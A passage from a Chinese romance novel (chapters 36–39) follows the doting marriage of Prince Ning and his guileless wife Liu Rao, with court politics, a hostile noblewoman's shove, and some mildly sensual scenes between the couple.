柳娆爬到他跟前,抬眸看着他,脸颊红扑扑的,羞涩道:“我们睡觉吧。” 他怔愣一瞬:“什么?” 柳娆抱住他的肩,往他腿上坐,小声道:“那个呀,我要那个。” 第36章 第 36 章 我想一醒来就看到你 封肆喉头微动, 哑声问:“哪个?” 柳娆以为他真没听明白,认真看着他,小声解释:“就是同房呀。” “你不是不喜欢吗?” “我没说我不喜欢呀。”柳娆抱着他的肩晃晃, “快点儿, 我要嘛。” 他嘴角越扬越高, 低声道:“亲我。” 柳娆也悄悄翘起嘴角,在他唇上啄吻几下, 轻轻含住, 试探着撬开, 还未探进,便被陷阱一口咬住,被带着翻滚进薄毯中。 夕阳下的晚风轻拂着竹帘,嘭嘭轻响, 轻薄的绸缎毯子裹成一个茧, 荷花池中的蜻蜓好奇飞来, 被茧中颤抖惊吓, 振翅逃走。 日落月升,狭窄的空间中,呼吸声交织,封肆垂眸看着怀里的人,目光不觉温柔缠绵:“媚儿。” 她眼睫扇动,呆呆的。 封肆轻笑:“媚儿,好美。” 她弯着眼,嘴角高高扬起。 封肆看着她, 目光一刻也舍不得离开她的眼眸,这还不够,还要再抱着她, 紧紧抱着,炎炎夏日,热出两身汗。 她也不躲,甚至渐渐有些沉迷于这种快乐,炎热的夏日,她拉着封肆在庄子里奔跑嬉戏,每日都要出一身热汗,在汤泉里洗净后,她便缠着他索求到月明,累得酣睡一场,第二日继续。 柳家三兄弟寻来时,已日上三竿,听说人还在睡着,他们不好让侍女去催,只能在厅中候着。 快至午时,封肆终于出门,懒散往椅上一靠,轻薄宽松的长袍随意堆叠,嗓音沙哑:“何事?” 柳琮犹豫道:“见过王爷,小妹嫁去王府许久,我们一直未来探望过……” 封肆打断:“你们来的这样整齐,恐怕不是为了跟我叙家常,有什么话直说便是。” 柳瑜抢先开口:“前些时日林御史入狱,父亲在朝堂上为御史说了几句话,后来便被陛下单独留下,至今未归,我们兄弟几个实在没有办法才寻到王爷这里来。” “按说柳尚书在朝中为官时日不短了,难道还琢磨不透圣意吗?非要去为那林御史说话,不是找死是什么?” “父亲一向古板,他与林御史交好多年,两人也算同舟共济过来的,如今,林御史落难,父亲只是出于朋友之谊才为其说话,并非想得罪陛下。” 沉默片刻,封肆起身:“我知道了,这两日就进宫去看看,你们回吧。” 柳珣忍不住站起:“媚儿还好吗?” 封肆回头,瞥他一眼:“她还在睡,你若是想见她,改天吧。” 柳珣微微点头:“好。” 封肆大步离去,刚到廊下,那颗毛绒绒的脑袋便从门口探出,委屈巴巴朝他看来。 “你去哪儿啦?” 他快步走去,将她抱住:“醒了?” “你去哪儿啦?我一睁眼就发现你不见了,先前你都在我身边的。”柳娆紧紧抱住他。 他轻声哄:“你哥哥来了,我方才去见他们了。” “哪个哥哥?大哥二哥还是三哥?他们来做什么?人在哪儿呢?”柳娆探着脑袋左右看。 封肆将她拉回:“我以为你还没醒,就让他们先走了,我们收拾收拾回城中,你要是想见他们,过两日可以回去探望。” 她点点头:“噢。” 封肆笑着捧起她的脸:“这么离不开我?穿着寝衣就出来寻我了?” 她认真点头:“小四,我好爱你,我想一醒来就看到你。” “我也好爱你,我要我的宝贝每天一醒来就能看到我。” 柳娆忍不住对他嘿嘿笑。 他低头,抵她的鼻尖蹭蹭:“乖宝贝,我们去洗漱。” 柳娆挂在他身上,脸也要他洗,饭也要他喂,最后收拾衣物,也要他来帮忙收。 他早已沉迷其中,无法自拔,一刻也不想和她分开,回城的马车上都要抱在一起,第二日进宫前也要等她醒了,和她抱在一块儿说说话才出门。 临行前,管事突然来报:“王爷,平阳侯府来了帖子,说是请王妃去夏饮宴。” “去与王妃禀告,她要去便去,她不去便不去。”封肆放下车帘,往后一靠,缓缓朝宫中去,一路畅通无阻,只在大殿门口稍稍等待片刻,便被内侍引进门。 他上前,恭敬行礼:“拜见陛下。” “你我之间就不做这些虚礼了,快起来吧,看座。” “多谢皇兄。” 皇帝看去:“怎么?玩儿够了?” “皇兄莫要拿我打趣,我来是给我岳父求情的,听闻他犯了错,被扣在宫里,好几日没回了,媚儿要是回府看不到父亲,恐怕又要哭了。” “你眼里就只有你女人高不高兴,不管我这个做哥哥的生与死?” “皇兄这是哪里的话,一个小小尚书而已,也反不了天,皇兄与我皆是心知肚明,柳尚书无非就是古板一些,若说反心,断断不会有的。皇兄若是不放心,我与他说,让他告老请辞就是,他年岁大了,也该回去好好歇歇。” “你说的也有几分道理。”皇帝没有给出明确的答复,“你呢?歇了这些天也该收收心了,总不能一辈子都在别院里与女人厮混,明日就回来当职吧,不要再耽搁了。” 封肆毫不避讳,又道:“只要皇兄需要,臣弟随时奉命。柳尚书一事,皇兄究竟是如何想的?若真要处置他,还请皇兄与我提前说一声,我也好提前哄哄媚儿。” “你对她倒是真用心。” “皇兄别总调侃我,倒是说说要如何处置我岳父。” “罢了罢了。”皇帝摆摆手,“你将他领走吧,让他回去颐养天年,省得他哪天惹朕生气,朕忍不住就砍了他。” 封肆立即跪地叩首:“多谢皇兄!” 皇帝笑着道:“起来吧,你这样在意你那个媚儿,等中秋带来给朕看看,中秋宫宴,一家人也该团圆。” “是,臣遵旨。” “去领人吧,别忘了明日来上早朝,朕还有事要交给你办。” “是。”封肆垂眸退下,被内侍带着前去寻柳尚书,一路上都在琢磨皇帝的那几句话。皇兄是单纯想见见媚儿?还是别有用意? “王爷,到了。” 他回神,朝柳尚书看去。 柳尚书这几日都被关在偏殿中,除了精神不大好外,身上没有其余的伤痕。 他朝人打量几眼,低声道:“走吧。” 柳尚书紧皱的眉头并未松开,声音低沉:“媚儿还好吗?” “你不给她惹事,她就会很好。” 柳尚书顿了顿,没有答话。 “你在朝中待了这么多年了,想来也不必我再多说,我的面子也只能用一回,下回再出这样的事,没人能救得了你,你的女儿你的儿子都会受你牵连。将官位辞了,过段时日我会给你谋一个清闲的差事,以后不要多管闲事,好好颐养天年。” “王爷搭救,老臣感激不尽,至于官职的事,便不再劳烦王爷了。” 封肆瞥他一眼:“上车,我带你出宫。” 柳尚书不知如何作答,跨上马车,安静落座,一路无言。 马车抵达宫门停下,封肆正要吩咐人送柳尚书回府,王府中的管事突然迎来。 “什么事?”封肆朝他看一眼,稍稍靠近车窗,“说吧。” 管事附耳低声道:“王妃身旁的侍女春雪让小的带话,平阳侯府的人待王妃不大恭敬。” 封肆眉头微皱,稍稍坐回:“知道了,你送柳尚书回柳府。” “多谢王爷。臣告退。” 封肆等人下车,立即朝车夫吩咐:“去平阳侯府。” 平阳侯府中,女眷们正围坐在桌前玩叶子戏,柳娆从未玩过,看着那堆牌,有些头疼。 她叹息道:“我真的不会玩。” 周围女眷们笑着催促:“不打紧的,玩着玩着就会了,娘娘有不会的,问我们便是。” 春雪也道:“娘娘不必担忧,奴婢也会一些,娘娘若有不明白的,问奴婢也好。” 柳娆眼睛一亮,笑着捉牌:“那太好啦,我要是有不懂的就问你。” 她年纪轻,陪她玩牌的要么是年轻的小姑娘,要么是同样成亲不久的年轻妇人,她对面坐着的便是平阳侯府的小姐,正值二八年华,尚未出阁。 侯府的小姐开口,似乎是闲聊:“听闻王妃娘娘和王爷是在京城大街上认识的?” 柳娆正在理牌,没太听清:“不好意思,你方才说什么了?我没听见,你再说一遍吧。” 那小姐有些恼,又道:“也不知道是谁乱嚼舌根,说王妃娘娘在嫁进王府前是有婚约的。” “噢,是有啊,不过也不算婚约吧,只是我爹和人家关系好,随意定下的。”柳娆挑中一张牌,乐滋滋打出去,“我出这个。” 谁也没想到她竟然会这样大胆地承认,一时间,牌桌上除了她,没哪个在认真玩牌。 侯府小姐也不可思议,鄙夷道:“一女不嫁二夫……” “我没嫁啊,都没开始纳彩呢。我出这个。”她的兴致只在手中的牌上,她这把牌好,肯定能赢! “听闻王妃娘娘还未嫁进王府前,便与王爷很是亲近了。” “你怎么老是听闻别人的事啊?你没有自己的事要做吗?”她真诚发问,理了理手上的牌,用手肘拐拐春雪,“你看看,我是不是赢了。” 春雪点头:“对的,娘娘。” 她立即将牌亮出,欢呼道:“我赢了,给钱给钱!” 第37章 第 37 章 大人的事小孩子不要问 侯府小姐噎住, 没好气给了钱,继续道:“王妃娘娘如今能嫁进王府,也是好手段。” 柳娆听不明白那些弯弯绕绕, 高高兴兴收了钱, 开怀道:“是吧?我也这么觉得, 我长得好看,心地善良, 小四喜欢我, 也只是人之常情啦。我们继续玩牌吧!” 她今天运气不错, 多玩几圈,说不定能挣到不少钱呢! 侯府小姐见她不接话,只能将一肚子气闷回去,越闷越气, 下了牌床便跟人在假山石后嚼舌根。 “你看她那副样子, 满头珠宝, 哪里有一点贵女的模样?分明就是个没有涵养的土包子, 不知道这样的人如何能嫁进王府的,还成日地显摆,问旁人这好不好看,那好不好看,生怕人家不知道她穿戴的有多奢华似的。” “好了好了,消消气,不论如何,她都是宁王妃, 你就算再看不过,也千万不要露在脸上,得罪了宁王那可不是小事。” “那又如何?你没听说吗?她父亲为反贼求情, 被扣在宫中好些时日了,说不定她家里过几日就倒了。她不就是靠宁王的宠爱吗?我看她没了宁王,还如何嚣张!真不知道宁王看上她什么了,毫无内涵修养,礼仪规矩……” “你们在说谁呢?” 戴着冠帽的脑袋从假山石后探出,窃窃私语的两人转头看来,皆是惊得一抖。 柳娆从假山石后走出,弯着眼眸道:“下回在背后偷偷说别人坏话时,记得回卧房去,不然可是很容易一不小心就被人听见的噢。” “你!”侯府小姐左右看一眼,见周围无人,又看一眼她身后的水池,不怀好意上前两步,“你都听到了?” 她眼眸眨眨:“什么?” “没什么。”侯府小姐停在她跟前,突然伸手,朝她肩膀一推。 她一惊,来不及反应,双手扑腾着便要朝身后的水池倒去,就在此时,噗通一声,有人比她先一步跳入水中,将她稳稳抱住。 她下意识紧紧抓住那人的手臂,抬眸看去,惊讶道:“小四?” 封肆正拧着眉头看着岸上的两人。 这池子不深,水到他膝盖而已,又是夏日,即使跌入水中也不至于受寒生病,但媚儿今日戴了一顶贝壳制成的琉光发冠,足有几斤重,若是摔进水中,一时半会爬不起来,池水没入口腔,恐怕会命丧此地。 他越想越恼怒,认定眼前的两人是要谋害性命,打横抱起怀中的人,抬步跨上岸,冷声道:“春雪,把她们给我按进水中,让她们好好清醒清醒。” “小四,你怎么来啦?” “回去再说。” 柳娆点点头,伸着脖子往后看,又被人按回去。她摇摇脑袋:“干嘛?” 封肆未回答,大步往前,浸湿的衣摆滴滴答答淌了一路的水,直至到了门外的马车上,衣摆才几乎被风干。 “你怎么走得这么快呀?”柳娆迎着风乐呵呵道,突然又拿起腰间的荷包,“看,我今天玩叶子戏挣了好多钱,你有没有什么想要的?你有没有想要的,我可以给你买噢。” 封肆阴沉的神情终于有了一丝波动,唇微微扬起:“你还会玩叶子戏呢?” 她眉眼弯弯,似一弯月牙:“不会啊,春雪教我的,我厉害吧,第一回玩就能挣这么多钱。” 封肆嘴角彻底扬起:“厉害。” “那你有没有什么想要的呀?” “糖炒栗子。” 柳娆一转头便瞧见车窗外的栗子铺,笑眯眯在他脸上亲一口:“你等着,我这就去给你买。” 他看着她跳下车跑远,脸上的笑沉下,朝随行的人低声吩咐:“让底下的人立即搜罗平阳侯府的事迹,明日早朝上奏弹劾。” 随行的护卫低声应是,乘马而去。 封肆朝着那道靓丽的背影看去,直到人跑回马车上,才放下车窗。 柳娆搂着裙子上车,将袋子一股脑塞进他怀里:“你看,我给你买了好几个口味的,还是热的呢,快吃吧!” 他笑着摸摸她的脑袋,剥开一颗栗子,先送到她口边:“宝贝先吃。” 柳娆一下咧开嘴,高兴接下,一口气在他脸上亲了好几口:“小四,你真好,你快吃吧!” 封肆靠着车厢,和煦的目光落在她脸上,不紧不慢捏着栗子壳:“今日玩得高兴吗?” “高兴啊,挣了钱还不高兴吗?” “要是喜欢玩叶子戏,我让人专程给你布置一个玩叶子戏的房间,往后可以叫人来府上玩。今日入宫时遇到你爹了,你若是想他们了,可以回去看看。” “什么你爹,那是我们的爹。” “好好好。”封肆敷衍过去,又道,“明日起我得去当职了,明早得早起去上早朝,你乖乖在家,想做什么想要什么,便吩咐春雪。” 柳娆眉头一蹙:“早朝?什么时辰?” “天不亮就得起。” “那我醒来时岂不是就见不到你了。” 封肆摸摸她委屈的脸:“可是我不去,不挣钱,媚儿就没有这么多好吃的好玩的了。” “噢。”她瘪了瘪嘴,轻轻抵在他肩头。 封肆悄然叹息一声,将她搂进怀里:“也不是日日都如此,待休沐我便能在家中陪你。” 她往他怀里靠了靠,不说话了。 翌日天明,她睁开眼时,身旁的人果然不见了。她坐起,怔愣看着被褥许久,眼眸轻轻动了动。 侍女们松了口气,笑着问:“娘娘,是不是该起了?” 她胡乱点点头,脑袋上竖起的碎发跟着一起乱点。 侍女们立即围上来,扶着她站起,穿衣、洗漱、梳妆,细致入微,几乎不必她动手。她却没什么精气神,坐在铜镜前好一会儿,侍女们唤了好几声,才回过神来。 “娘娘是不是还没睡好?”春雪笑着问。 她轻轻摇头,拖着步子往起居室走。 纤云与春雪对视一眼,上前道:“娘娘好久未回娘家了,要不要回去看看?三少爷肯定十分思念娘娘。” 她顿了顿,点点头:“好,回去看看吧。” “那奴婢去准备些礼物?” “我自己准备吧,我知道他们喜欢什么。”吃完饭,收拾礼品时,她往常的那股劲儿又涌回,拿着个大盒子,高兴念叨着往里装东西,“这个给娘,这个给三哥……” 抵达柳府,她几乎是跑进去,左右探望:“人呢?都去哪里啦?” 她没提前说要回,没人在门口候着,这会儿侍女才进门通传,很快,府中的人迎出来,三哥柳珣跑在最前面,笑着迎来。 “媚儿,你怎么变黑了?” 她一愣,连忙摸摸自己的脸:“我变黑了?” 柳珣笑着停在她跟前:“是啊,比从前黑多了,你做什么去了?” 她眉头立即紧蹙:“我变黑了吗?是不是不好看了?” “没有没有,还和从前一样好看,只是我看着不大习惯。”柳珣赶忙搬来救兵,“祖母,娘,你们看媚儿是不是还和从前一样好看?” 老太太上前捉住她的手,仔细打量一番,和蔼笑着:“是黑一些了,不过还是漂亮的。” 她问:“娘?” 陈夫人笑着也道:“还是漂亮的,快进去说吧,你好久没回来了,刚好父亲也在家中,中午一起用午膳。” 她这才露出满意的笑,在众人的簇拥下往里走,高兴又道:“我给你们都带了礼物。” 老太太瞅她一眼,轻声教训:“你如今是嫁去宁王府,是王府的女主人了,可也不能随意将王府里的东西往娘家拿,家里也不缺这些。” “我没随意拿啊,我有挑过的。” 老太太长长叹息一声。 “他说过,他的就是我的,我可以随意处置的。”她打开盒子,兴致勃勃分礼物,“这是给祖母的,这是给娘的,还有三哥的……” 柳珣没什么心思看那礼物,等着她玩够了闹够了,拉着她去花园里小声问话:“媚儿,你和宁王最近如何?” 她啃着果子,含糊不清反问:“什么叫最近如何?” “就是你先前不是说……”柳珣有些害臊,左右看几眼,声音放低一些,悄声道,“你先前不是那什么疼的吗?他有没有欺负你?” “噢~你说那个呀。”她恍然大悟,嘿嘿笑两声,故作神秘,“大人的事小孩子不要问,等你成亲就知道了。” 柳珣好笑:“什么大人小孩子?我比你大。” “可是你没有成亲啊,没有成亲的一律视为小孩。”柳娆往后一蹦,坐在池边的围栏上,“总归你成亲后就会明白啦。” “好吧,你这么说,看来就是没什么问题了。” 她又咬一口果子,甜滋滋的汁水漫延,又道:“你什么时候成亲呀?我们都成亲了,只有你没成亲。” 柳珣笑着捏捏她的脸,故意道:“成亲有什么好的?要是遇到个像你这么能吃的,我可养不起。” 她蹙蹙眉头,细细盘算:“我很能吃吗?我没吃多少呀,我也没花多少银子吧?最多就是买买衣裳首饰,这也不多吧?” 第38章 第 38 章 要! “那是宁王有钱, 你三哥我可没这么多钱,你想二哥的月俸才二两银子,我要是能考上, 寻一份差事, 再多也多不过二哥去。” “唉。”柳娆苦恼, “那你可怎么办呀?你岂不是成不了亲了?要不我帮帮你吧。” 柳珣新奇:“你帮帮我?” “对啊,我现在每个月的零花有五十两, 反正我也花不完, 要不你拿去娶媳妇儿吧!” 柳珣没先咂舌宁王的慷慨, 而是惊讶:“你就这样给我了?” “不够吗?” “无关足够与否,我是问,你就这样心甘情愿地给我了?你不是最舍不得银子吗?” 柳娆从围栏跳下,仰头看着他:“你可是我三哥, 最疼我最爱我的三哥, 我们最好了, 你现下有困难, 我肯定要帮你啊。” 他感动得一塌糊涂:“好媚儿,三哥没白疼你,三哥方才跟你说笑呢,三哥不要你的银子,家里的规矩,得先立业再成家,婚事父亲母亲他们也都有准备,哪里轮得到你给钱?你好好收着那些银钱, 不要乱花,知道吗?” “噢。”柳娆眨眨眼,茫然啃着果子。 “又在吃什么呢?我就没见你嘴停下来过。”二哥柳瑜从远处来, 开口便是打趣。 柳娆瞪他:“就吃就吃就吃!” 他哼笑一声,朝柳珣去,低声道:“今日朝堂上好热闹,宁王不知为何突然上奏弹劾平阳侯,列出五大罪状,条条致命。” 柳珣虽还未有一官半职,但整日听家里人谈论,对当朝局势还算有些了解,低声道:“莫不是陛下授意?上一个林伯父不就是这样被关进诏狱的?” “不清楚,按理说不会,平阳侯当初可是站队陛下的,若是这样的人都要进诏狱,岂不是要人心惶惶?” 柳娆伸着脑袋挤进他们中间:“你们在说什么悄悄话?” 柳瑜在她眉心敲一下:“和你没什么关系,不许偷听。” 她往后一缩,不服气道:“我听见了,你们在说什么平阳侯,哼,谁不知道平阳侯?我昨日还去平阳侯府玩了呢。” 柳瑜眉头微皱:“你去平阳侯府了?” “对啊,平阳侯夫人下请帖邀请我去的,我去玩了叶子戏,赢了好多钱,可有意思了,就是那个平阳侯府的小姐怪怪的,不大好相处。” “如何不好相处,你细细说来。” “她总是说些奇奇怪怪的话,还偷偷说人坏话,被我戳穿后还推我,幸好小四来了,不然我就要摔进池子里了。我昨天戴的那套首饰可都是贝壳做成的,不能沾水,要是沾了水……” 柳瑜没兴趣听她那些首饰衣裳的,抬眸朝柳珣看去,交换了个眼神,低声道:“你觉得呢?” “是因为这事吗?不至于吧?这可是摆明了要平阳侯好看,弄不好,还会闹出人命。” “你我还是太年轻,未曾与他打过交道,如今看来,他阴狠毒辣睚眦必报并非是浪得虚名,谁要是敢和他作对,他绝不会让那人好过。” 柳珣后背一寒:“也就是说,若是父亲一直不同意婚事,他是真的会毫不犹豫地对付我们。” 柳瑜低声答:“顺我者昌,逆我者亡,那时威胁的话并非虚张声势。” “你们在说什么呢?有没有听我说话呀,我那顶用贝壳做成的发冠可好看了,我跟你们说,我卧房的房梁上还有用贝壳雕成的蝴蝶,你们下回来玩,我带你们去看。” 柳瑜摸摸她的头,笑着道:“整日就会吃喝玩乐。” “那媚儿该怎么办?”柳珣一脸担忧。 “什么媚儿怎么办?”柳娆疑惑。 “媚儿不怎么办,媚儿继续吃喝玩乐就好。”柳瑜道,“他这样的人,不就是喜欢旁人对他唯命是从?如今父亲也回家养老了,我们家中再没有可以与他较量的人,他应该也能安心了。” 柳珣抿了抿唇:“那以后呢?” “以后的事谁知道?过好当下便是,想那么多也不管用。”柳瑜拍拍他的肩,抬步离去,“今日就在朝中议论此事了,回来晚了,我去跟祖母他们请安。” 柳娆一头雾水,扯着嗓子喊:“诶?你都回来了,那是不是小四也忙完了?” “我这样清闲的人,如何能与他比?我走时他还忙着呢,说不好什么时候忙完。” “啊?”柳娆泄了气。 柳瑜转身,笑道:“你这么想他,为何不去宫门接他?他一出宫门,你就能瞧见。” “对啊。”柳娆一拍脑袋,转头就跑,边跑边喊,“三哥,你跟祖母他们说,我先走了,改天再回来,还有二哥,我给你带了礼物,在前堂放着,你自己去拿。” “又有礼物?”柳瑜笑。 柳珣在后面追:“你跑慢点儿,别摔倒了。” 柳娆早跑得没影儿了,什么也没听见,跳上马车,立即吩咐:“你们知道宫门在哪儿吗?送我去宫门,我要去宫门接小四。” 春雪便是从宫中出来的,对路程再熟悉不过,引着马车抵达宫门外停下。 傍晚,旖旎的霞光铺落,护城河旁的垂柳轻拂,柳娆趴在车窗口,大大打了个哈欠,继续朝宫门张望。 高耸的宫门中,陆陆续续有人走出,穿着除了颜色,大差不差,柳娆伸着脖子望了半晌,终于在着绯色官服的人群中瞧见封肆,她激动招手:“小四!” 喊完,她忽然想起这个称呼不能在外面用,又赶紧改口,提着裙子朝人跑:“夫君!” 封肆皱着眉头看来,瞧见她的那瞬,紧皱的眉头立即抚平,与同行之人打过招呼,大步迎去:“媚儿,你怎么来了?” 她笑着跑来,一头撞进他怀里,抱着他的腰,弯着眉眼看他:“我来接你呀。” 封肆抚抚她的背,弯着唇轻声道:“站好,去车上再说,不要在外面拉拉扯扯。” 她蹙眉:“你凶我,我来接你,你还凶我。” “没有,上车。”封肆几乎是将她抱上车的,门一关,便忍不住捧着她的脸,在她脸颊上啄吻,“宝贝,你怎么来了?” “我二哥和我说能来这里接你。” “嗯?你去娘家了?” “对呀。”柳娆笑着亲回去,“我好想你呀,你想不想我?” 封肆紧紧搂着她:“想你,好想你,乖媚儿。” “嘿嘿。”她闭着眼蹭蹭他,“我今天回去,爹娘他们都在家,我和他们一起吃了午饭,然后就和三哥在外面玩,噢,对了。” 她突然抬头,差点撞到封肆的下巴,封肆只是皱皱眉头,目光仍旧柔和:“嗯?怎么了?” “我三哥说我花钱花得多,你觉得我花得多不多?”她一脸严肃。 封肆捏捏她的脸,笑道:“不多,你能花什么银子?无非是买些衣裳首饰,不给你花,也没处可花。” “我二哥一个月的月俸只有二两,你呢?” “杂七杂八算下来几十两吧,不过也不靠月俸过日子,还有旁的收入。” “旁的收入?” “铺子,俸田,你爹娘应该也给了你房产做嫁妆的。” 柳娆眼睛放圆:“真的?那我可得回去好好看看了。” 封肆将她搂回怀里:“是不是又有什么想买的,银钱不够花了?” “没有没有,我只是好奇。”她仰着脸,笑眯起眼,“我们可真有钱啊,太幸福了。” “这就幸福了?”封肆捏捏她的鼻尖。 “对呀,这还不幸福嘛?”她抓着他的脸,在他嘴上重重亲一口。 “好,幸福。”封肆笑着应和。 微风拂起窗帘,闪烁的霞光照进,落在他的眼睫毛上,柳娆的指尖追逐他眼皮上的光点,轻快道:“小四,太阳在你眼睛上跳舞。” 他看着她眼中明媚的笑,不禁弯唇。 “好漂亮。”柳娆闭着眼,轻轻在他眼皮上亲一下,兴高采烈看着他,“到你啦。” “什么?”他嗓音微哑。 “到你亲我啦。”柳娆眉眼弯弯。 封肆捧着她的脸,从她的额头啄吻,吻到她的眼眸、她的鼻尖、她的嘴角,气息逐渐难以平稳,轻轻撬开她的唇。 原本炎热的夏日更加燥热,浅浅的吮吸声淹没在车轮声中,在无法自拔前,封肆及时抽离,剩她独自睁着水汪汪、呆愣愣的双眸。 她总是这般,亲近过后,便像魂儿被抽走了一样,那样灵动漂亮的眼眸难以聚焦,呆呆愣愣,像个小木偶。 封肆甚至觉得是自己污染了她,紧紧揽着她的肩,小声唤:“媚儿?” 她的眼眸缓慢眨动,歪着脑袋:“嗯?” 封肆低沉的声线轻得不能再轻:“在想什么?宝贝。” 她轻轻摇头,抱住他的肩,藏进他的怀里。 封肆抚抚她的背,许久,又低声道:“晚上要不要同房?” 她显然顿了下,躲在他的怀里偷笑。 封肆将她拉出来,悄声问:“要不要?” 她眼中的星光点点又回来,害羞点头:“要。” 封肆也露出了笑:“什么?我没听清。” 她凑去他耳旁,在他耳廓上咬一口,兴奋道:“要!” 第39章 第 39 章 可是我不想他们这样想你 封肆被咬得疼, 听到她嗓音里的笑又心满意足:“好了好了,坐好,就到了。” 她笑意盈盈正襟危坐, 下车便拉着他往家里跑。 封肆无奈却也笑着:“跑什么?后面又没人追你。” “高兴啊, 高兴就要蹦蹦跳跳。”她跳来跳去, 竖起的碎发跟着跳来跳去。 封肆跳不动,笑着将她打横抱起:“别跳了, 跳得一身汗, 不热吗?” “热, 我想在汤泉池里洗澡。” “想要什么样的汤泉?” “像庄子那样的就很好呀,周围都是荷花,可香了。” “不想要个不一样的?你说,我让匠人来给你建, 你想修在哪儿?王府中你随意挑。” 她弯起眼:“就修在卧房里呀, 这样方便, 我还是想要那种亮闪闪的贝壳铺在池底, 肯定特别好看,就像我那顶发冠一样,太阳一照,可闪了。” “好,那就做成那样的。”封肆抬眸,目光朝管事寻去,“去请江公子来。” 柳娆直起身:“什么公子?” “江公子,花房和卧房都是他修缮的。你不是很喜欢?让他来修建浴池, 如何?” “行!”她在他脸上啵唧一口,小声道,“那我们快去吃饭吧, 吃完饭还要那个呢!” 封肆嘴角越扬越高,健步如飞。 夜幕低垂,柳娆往身上抹完瓶瓶罐罐,浑身热起来,淡淡的花香味四处弥漫。她累了,摇不动了,蹙着眉窝在被褥里,指尖紧紧抠着那坚实的腰背。 封肆的目光总忍不住落在她脸上,忍不住和她说话:“媚儿,高兴吗?” 她湿润的眼眸轻轻转动,而后弯起来,嗓音沙沙哑哑:“高兴。” “宝贝真是水做的,到处都是水汪汪的。” “那你呢?” “我是为宝贝做的。”封肆在她脸上啄吻。 她刚舒展的眉又微微蹙起,湿润的眼眸合上,几滴泪被挤出,挂在颤巍巍的眼睫上,沙哑的低吟继续响起。 封肆抱着她,既不舍得抱太紧,又不舍得不抱紧,这种痛苦而又甜蜜的感觉折磨着他,甚至折磨出一些快感,幸福而又快乐,让他有足够的耐心可以将她慢慢研磨成泥。 那一滩带着甜蜜香味的软泥倚在他的怀里,眼皮懒懒地垂着,带着软肉的小肚子随着呼吸起伏,可爱极了。 他炙热的掌心覆盖,轻声道:“累吗?” “嗯。”毛茸茸的脑袋转动,抵在他腰上。 他又捉起她的手放在心口:“明日打算做什么?还是去娘家玩?” “我还没想好呢。”柳娆被抽走的魂儿又飞回来,“我明天还去宫门口接你,好不好呀?” 封肆笑着捏捏她的脸:“你愿意来就来吧,我也不知道每天什么时候能忙完,你出门前跟管事的打个招呼,别跑空了。” “行。”柳娆翻身往他身上爬,“小四,你什么时候休沐呀?等你休沐,我们再一起去庄子里玩。” “得到月底吧。” 她一下坐起:“啊?还要这么久?” “要不你叫人来家里玩叶子戏?” “可是我不认识什么人啊。” “不需要认识,你只管下请帖,让侍女去送,她们会上门的,到时候不就认识了吗?” 柳娆叹息:“好吧。” 封肆搂着她往下躺了躺:“宝贝,等闲了就陪你,好吗?” “现在才月初呢,等到月底,天都冷了,荷花都要歇了。”她不满嘟囔。 “荷花歇了还有桂花。” “哼!”她身子一扭。 封肆靠过去,从背后抱住她:“天还早,要不要再同一回房?” “不要,我才不要,你不能陪我,我也不陪你啊!!”她惊呼一声,惊叫连连,“你这个大臭猪,你快压死我啦!” “那你是什么?小香猪?” “我才不是猪呢,我是人!” “是人?来,我看看。”封肆将她翻过来,抵着她鼻尖笑,“明明是个小香猪。” “你才是!”她骂完又忍不住笑。 封肆蹭蹭她的鼻尖,悄声道:“先蹭蹭好不好?等你适应了我们再开始。” 她眼眸亮亮的,悄声答:“好。” 天光熹微,封肆又要动身前去宫中,他弯身在那张酣睡的小脸上亲了亲,悄然离去。 柳娆睡得沉,一点儿未察觉,睁开眼时,身旁早已冰凉一片。她照旧坐起,怔愣许久,顶着乱糟糟的头发爬起。 在园子里百无聊赖地坐了一上午,她开口:“你们去写请帖吧,请人明天过来玩。” 京城中都是些王公贵族,宁王府下请帖,没有哪个借口不来的,厅里厅外都坐满了。柳娆玩了一下午的叶子戏,手气不错,几乎每局都赢,她高高兴兴将客人迎来,又将客人送走,第二日继续邀人来玩,又是几乎每局都赢。 一连好几日,她终于发觉不对,蹙着眉头道:“纤云,你说她们是不是故意输给我的?” 纤云和春雪对视一眼,轻声回:“娘娘为何会这样想呢?” “唉。”她叹息一声,没精打采起身,“我们去接小四吧。” 她照旧对着夕阳趴在车窗外,神情是罕见的严肃,她一直在反思这些天与那些女眷的相处,连人到了跟前都未察觉。 “在想什么呢?这样出神。”封肆捏捏她的鼻尖。 她回神,弯起眉眼:“你忙完啦?我在想事呢,都没注意到你,你快上车吧。” 封肆明显察觉到她有心事,远不如从前那样活力满满。他的情绪也不觉跟着低沉,搂着她低声问:“在想什么?今日玩叶子戏输了?” “唉。”柳娆又是长长叹息,“没,赢了。” “赢了还不高兴?要求越来越高了。”封肆打趣。 “就是因为赢了才苦恼啊,我忽然发现她们好像是故意输给我的。”柳娆抓住他的手,一脸严肃,“我就是赢了太高兴了,才一直没察觉异样,她们每个人都对我很客气,好像是在哄着我高兴一样,好奇怪。” 他当即明了:“原来如此。” “什么原来如此?” “原来你是因为这个而苦恼。”他轻抚她的后脑勺,浅笑着,“我还以为你看不出来这些。” 柳娆眉头一蹙:“你早就知道啦?那你为什么不跟我说呢?我不喜欢她们这样,一点儿都不真诚,没趣极了。” “我早不知道,不过也在意料之中。”封肆揽住她,“此事是我连累你了,他们是顾忌我,才会如此。” “顾忌你?” “因为我很凶,他们不想得罪我,所以才想尽办法讨好你,生怕出了差错。” 她捧着他的脸,抵着他的额头,仔细观察一番:“你不凶啊,她们为什么会这样想呢?我明天就跟她们解释清楚。” “不是谁都是你这样想的,没必要解释什么,解释了他们也不会信。”况且,他的确挺凶的。 柳娆垂下眉眼:“可是你的确挺好的呀,为什么他们都这样想呢?” 封肆笑着拍拍她的背:“好了,我都不在意,你也不必在意,你若是不喜欢和她们往来,不叫她们就是,也不会有什么大碍。” “小四。”她抱住他臂膀,轻轻靠在他肩上,哀伤道,“可是我不想他们这样想你。” 封肆微怔,微缩的瞳孔缓缓放松,轻轻将她按在怀里:“我不在意那些,只要在媚儿心中我是好人就好。” 她耷拉着眉毛:“真的吗?” “嗯,真的不在意,你不喜欢她们,往后找旁的人来陪你玩,你娘家有没有什么你认识的小姑娘?让她们来陪你玩也行。” 她轻轻摇头,又靠回他肩上:“没。” “那让你三哥来陪你?” “不要,我想你陪我。” “媚儿,我过两日要出一趟远门。” 她缓缓抬眸,静静看着他。 封肆回视,轻声问:“为何不说话?” “噢。”她脑袋又耷拉回去。 “宝贝,只去几日,很快就回来,回来后便能歇两日,到时我陪你去庄子上玩,好不好?” “噢。” 